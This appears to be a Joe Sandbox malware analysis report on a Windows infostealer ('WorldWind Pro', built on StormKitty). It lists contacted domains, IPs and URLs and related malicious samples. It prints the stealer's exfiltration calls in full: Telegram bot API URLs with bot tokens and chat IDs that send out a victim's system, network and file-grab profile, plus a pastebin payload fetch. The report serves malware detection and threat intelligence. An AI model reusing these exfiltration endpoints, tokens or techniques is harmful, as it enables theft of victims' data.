https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202024-07-31%201:07:02%20am%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20899552%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20CT_BZ8R%0ARAM:%204095MB%0AHWID:%2049CC9AD8BB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%209%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True	0%	Avira URL Cloud	safe
http://pastebin.com	0%	Avira URL Cloud	safe
http://api.telegram.org	2%	Virustotal		Browse
https://pastebin.com	0%	Avira URL Cloud	safe
https://pastebin.com/raw/7B75u64B	0%	Avira URL Cloud	safe
https://api.mylnikov.org	3%	Virustotal		Browse
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=57954	0%	Avira URL Cloud	safe
http://pastebin.com	0%	Virustotal		Browse
https://pastebin.com/raw/7B75u64B	3%	Virustotal		Browse
https://api.telegram.org/file/bot	0%	Virustotal		Browse
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=57954	2%	Virustotal		Browse
https://pastebin.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.mylnikov.org	104.21.44.66	true	false	3%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	true	2%, Virustotal, Browse	unknown
pastebin.com	104.20.3.235	true	true	0%, Virustotal, Browse	unknown
icanhazip.com	104.16.185.241	true	false	1%, Virustotal, Browse	unknown
224.185.13.0.in-addr.arpa	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendDocument?chat_id=5795480469	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	false	Avira URL Cloud: safe	unknown
http://icanhazip.com/	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283662956	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202024-07-31%201:07:02%20am%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20899552%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20CT_BZ8R%0ARAM:%204095MB%0AHWID:%2049CC9AD8BB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%209%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/7B75u64B	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/LimerBoy/StormKitty0&fq	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	tmp394B.tmp.dat.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	viVOqZjAT0.exe	false	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	viVOqZjAT0.exe	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.orgD	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pastebin.comd	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D6F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	tmp382B.tmp.dat.0.dr, tmp380B.tmp.dat.0.dr, History.txt.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	tmp382B.tmp.dat.0.dr, tmp380B.tmp.dat.0.dr, History.txt.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	tmp394B.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://pastebin.com/raw/7B75u64Bd	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://github.com/LimerBoy/StormKitty	viVOqZjAT0.exe	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	tmp382B.tmp.dat.0.dr, tmp380B.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendDocument?chat_id=5795	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.mylnikov.org	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://api.telegram.orgd	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	tmp394B.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://api.telegram.org/file/bot	viVOqZjAT0.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	tmp382B.tmp.dat.0.dr, tmp380B.tmp.dat.0.dr	false	URL Reputation: safe	unknown
http://api.telegram.org	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pastebin.com	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D6F000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmp383B.tmp.dat.0.dr, tmp37DA.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://pastebin.com	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=57954	viVOqZjAT0.exe, 00000000.00000002.4107117629.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
104.21.44.66	api.mylnikov.org	United States	13335	CLOUDFLARENETUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
104.16.185.241	icanhazip.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1485116
Start date and time:	2024-07-31 07:06:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	viVOqZjAT0.exe renamed because original name is a hash value
Original Sample Name:	19f436930646f3e8f283fa71f2a4cbcb.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@17/116@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 131 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.165.165.26, 93.184.221.240, 20.166.126.56, 20.3.187.198
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:07:11	API Interceptor	13160475x Sleep call for process: viVOqZjAT0.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.3.235	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice-883973938.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	2024 12_59_31 a.m..js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
104.21.44.66	Kh7W85ONS7.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty, WorldWind Stealer	Browse
	zrrHgsDzgS.exe	Get hash	malicious	AsyncRAT, PureLog Stealer, StormKitty, WorldWind Stealer, zgRAT	Browse
	H1XdsfkcgU.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	SecuriteInfo.com.Trojan.PackedNET.2595.1466.2669.exe	Get hash	malicious	AsyncRAT, DcRat, StormKitty, VenomRAT	Browse
	t3h7DNer1Q.exe	Get hash	malicious	AsyncRAT, DcRat	Browse
	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, EICAR, RedLine, StormKitty, VenomRAT	Browse
	a.cmd	Get hash	malicious	Unknown	Browse
	UMJLhijN4z.exe	Get hash	malicious	AsyncRAT, Prynt Stealer, StormKitty, WorldWind Stealer	Browse
	HTZ4az17lj.exe	Get hash	malicious	StormKitty	Browse
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
149.154.167.220	RFQ New Order - 57m#U00b3 LPG SEMI TRAILER 7 NOS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	e-dekont.exe	Get hash	malicious	AgentTesla	Browse
	Packing_List.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Nuevo orden.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	QH098767890000.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Shipping Documents 2906381504.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	qnOcrxwuiR.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PRODUCTS LIST.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Your_New_Social_Security_Statement.wsf	Get hash	malicious	XWorm	Browse
	main.exe	Get hash	malicious	Unknown	Browse
104.16.185.241	down.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	7Y18r(198).exe	Get hash	malicious	Upatre	Browse	icanhazip.com/
	LisectAVT_2403002B_340.exe	Get hash	malicious	Bdaejec, Upatre	Browse	icanhazip.com/
	LisectAVT_2403002B_4.exe	Get hash	malicious	AsyncRAT, Neshta, StormKitty, WorldWind Stealer	Browse	icanhazip.com/
	7Y18r(114).exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	7Y18r(114).exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	CdB3FZ9vyI.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	ZUlr0Vm0Zt.pdf	Get hash	malicious	Hatef Wiper	Browse	icanhazip.com/
	CrowdStrike.exe	Get hash	malicious	Hatef Wiper	Browse	icanhazip.com/
	CrowdStrike.exe	Get hash	malicious	Hatef Wiper	Browse	icanhazip.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	SecuriteInfo.com.Trojan.DownLoaderNET.986.27001.9963.exe	Get hash	malicious	AsyncRAT, PureLog Stealer, XWorm	Browse	104.20.3.235
	lfjG1UlwP1.exe	Get hash	malicious	LummaC, Xmrig	Browse	104.20.4.235
	solarabootstrapper.exe	Get hash	malicious	XWorm	Browse	172.67.19.24
	7va1lgSJFv.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.19.24
	CrowdStrike Falcon.exe	Get hash	malicious	Python Stealer	Browse	172.67.19.24
	dPg9XmpDB2.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	SecuriteInfo.com.Trojan.InjectNET.17.32646.13700.exe	Get hash	malicious	LummaC, Xmrig	Browse	172.67.19.24
	a2b83ca2802947ffbb1b191ee1b8326d4dcbac5f4d99b.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	104.20.4.235
	QIKiV83Pkl.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	LisectAVT_2403002B_361.exe	Get hash	malicious	Quasar	Browse	172.67.19.24
api.mylnikov.org	LisectAVT_2403002B_4.exe	Get hash	malicious	AsyncRAT, Neshta, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	2U1S7Ab7YU.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	xj40xovMsm.exe	Get hash	malicious	AsyncRAT, AveMaria, Keyzetsu Clipper, MicroClip, PureLog Stealer, RL STEALER, RedLine	Browse	172.67.196.114
	Kh7W85ONS7.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	zrrHgsDzgS.exe	Get hash	malicious	AsyncRAT, PureLog Stealer, StormKitty, WorldWind Stealer, zgRAT	Browse	104.21.44.66
	H1XdsfkcgU.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	w5APKwp5DD.exe	Get hash	malicious	AsyncRAT, HTMLPhisher, MicroClip, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	setup.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	172.67.196.114
	Hniunx426q.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT, WorldWind Stealer, XWorm	Browse	172.67.196.114
	SecuriteInfo.com.Trojan.PackedNET.2595.1466.2669.exe	Get hash	malicious	AsyncRAT, DcRat, StormKitty, VenomRAT	Browse	104.21.44.66
api.telegram.org	RFQ New Order - 57m#U00b3 LPG SEMI TRAILER 7 NOS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	e-dekont.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Packing_List.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Nuevo orden.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	QH098767890000.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Shipping Documents 2906381504.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	qnOcrxwuiR.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PRODUCTS LIST.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Your_New_Social_Security_Statement.wsf	Get hash	malicious	XWorm	Browse	149.154.167.220
	main.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
icanhazip.com	down.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.185.241
	7Y18r(198).exe	Get hash	malicious	Upatre	Browse	104.16.185.241
	LisectAVT_2403002B_340.exe	Get hash	malicious	Bdaejec, Upatre	Browse	104.16.185.241
	LisectAVT_2403002B_4.exe	Get hash	malicious	AsyncRAT, Neshta, StormKitty, WorldWind Stealer	Browse	104.16.185.241
	7Y18r(114).exe	Get hash	malicious	Unknown	Browse	104.16.185.241
	7Y18r(114).exe	Get hash	malicious	Unknown	Browse	104.16.185.241
	CdB3FZ9vyI.exe	Get hash	malicious	Unknown	Browse	104.16.185.241
	ZUlr0Vm0Zt.pdf	Get hash	malicious	Hatef Wiper	Browse	104.16.185.241
	CrowdStrike.exe	Get hash	malicious	Hatef Wiper	Browse	104.16.185.241
	CrowdStrike.exe	Get hash	malicious	Hatef Wiper	Browse	104.16.185.241

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	https://claim-zigdao.com/	Get hash	malicious	Unknown	Browse	149.154.170.96
	RFQ New Order - 57m#U00b3 LPG SEMI TRAILER 7 NOS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	e-dekont.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Packing_List.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Nuevo orden.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	QH098767890000.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Shipping Documents 2906381504.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	qnOcrxwuiR.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PRODUCTS LIST.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Your_New_Social_Security_Statement.wsf	Get hash	malicious	XWorm	Browse	149.154.167.220
CLOUDFLARENETUS	cargo detail.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	https://www.mundodomarketing.com.br/	Get hash	malicious	HTMLPhisher	Browse	162.159.135.45
	http://bandamazonas.com.br/	Get hash	malicious	Unknown	Browse	104.16.160.145
	https://www.mundodomarketing.com.br/	Get hash	malicious	HTMLPhisher	Browse	162.159.135.45
	https://pybu8.vk.com////away.php?to=https://brandequity.economictimes.indiatimes.com/etl.php?url=1844forezcash.com/bin/kpm/sf_rand_string_lowercase(6)/sf_base64_encode/YmxhQGJsYS5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	rules for group chats 5021.js	Get hash	malicious	Unknown	Browse	172.67.159.188
	Piping Bulk Material Details.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	http://moremashup.com	Get hash	malicious	Unknown	Browse	141.101.120.11
	https://us-west-2.protection.sophos.com/?d=purposeadvisor.com&u=aHR0cHM6Ly9vZmMuYWMucHVycG9zZWFkdmlzb3IuY29tL2Fkdmlzb3JfcG9ydGFsL2NsaWVudHMvNDAwOTc0&i=NjBiYTdmNjgxNDkwYmIwZjRmOWUwNGI0&t=MDZQNXpyd0Q1SytybjUvWUlrMTQzSmg5eGphYkYyamxuSkxLSytMcUdwST0=&h=1ffbd61cf8d24048ab3fc8ad7e6cc09c&s=AVNPUEhUT0NFTkNSWVBUSVa642Sa30j9O4WM93voaDiZGQxyrW9gQ-DDcZ_Npfi-Dw	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://track.enterprisetechsol.com/z.z?l=aHR0cHM6Ly9yZXNvdXJjZS5pdGJ1c2luZXNzdG9kYXkuY29tL3doaXRlcGFwZXJzLzQ3OTA5LU1pY3Jvc29mdC1DUEwtUTMtUE1HLUF6dXJlLVVLLTItbGFuZGluZy5waHA%2fZT1jaGVvbG1pbi55YW5nQGh5dW5kYWllbGV2YXRvci5jb20%3d&r=14650708707&d=12037165&p=2&t=h&h=b31ef758ea4a5eaf1cd28fb80e2a38d7	Get hash	malicious	Unknown	Browse	104.17.25.14
CLOUDFLARENETUS	cargo detail.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	https://www.mundodomarketing.com.br/	Get hash	malicious	HTMLPhisher	Browse	162.159.135.45
	http://bandamazonas.com.br/	Get hash	malicious	Unknown	Browse	104.16.160.145
	https://www.mundodomarketing.com.br/	Get hash	malicious	HTMLPhisher	Browse	162.159.135.45
	https://pybu8.vk.com////away.php?to=https://brandequity.economictimes.indiatimes.com/etl.php?url=1844forezcash.com/bin/kpm/sf_rand_string_lowercase(6)/sf_base64_encode/YmxhQGJsYS5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	rules for group chats 5021.js	Get hash	malicious	Unknown	Browse	172.67.159.188
	Piping Bulk Material Details.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	http://moremashup.com	Get hash	malicious	Unknown	Browse	141.101.120.11
	https://us-west-2.protection.sophos.com/?d=purposeadvisor.com&u=aHR0cHM6Ly9vZmMuYWMucHVycG9zZWFkdmlzb3IuY29tL2Fkdmlzb3JfcG9ydGFsL2NsaWVudHMvNDAwOTc0&i=NjBiYTdmNjgxNDkwYmIwZjRmOWUwNGI0&t=MDZQNXpyd0Q1SytybjUvWUlrMTQzSmg5eGphYkYyamxuSkxLSytMcUdwST0=&h=1ffbd61cf8d24048ab3fc8ad7e6cc09c&s=AVNPUEhUT0NFTkNSWVBUSVa642Sa30j9O4WM93voaDiZGQxyrW9gQ-DDcZ_Npfi-Dw	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://track.enterprisetechsol.com/z.z?l=aHR0cHM6Ly9yZXNvdXJjZS5pdGJ1c2luZXNzdG9kYXkuY29tL3doaXRlcGFwZXJzLzQ3OTA5LU1pY3Jvc29mdC1DUEwtUTMtUE1HLUF6dXJlLVVLLTItbGFuZGluZy5waHA%2fZT1jaGVvbG1pbi55YW5nQGh5dW5kYWllbGV2YXRvci5jb20%3d&r=14650708707&d=12037165&p=2&t=h&h=b31ef758ea4a5eaf1cd28fb80e2a38d7	Get hash	malicious	Unknown	Browse	104.17.25.14
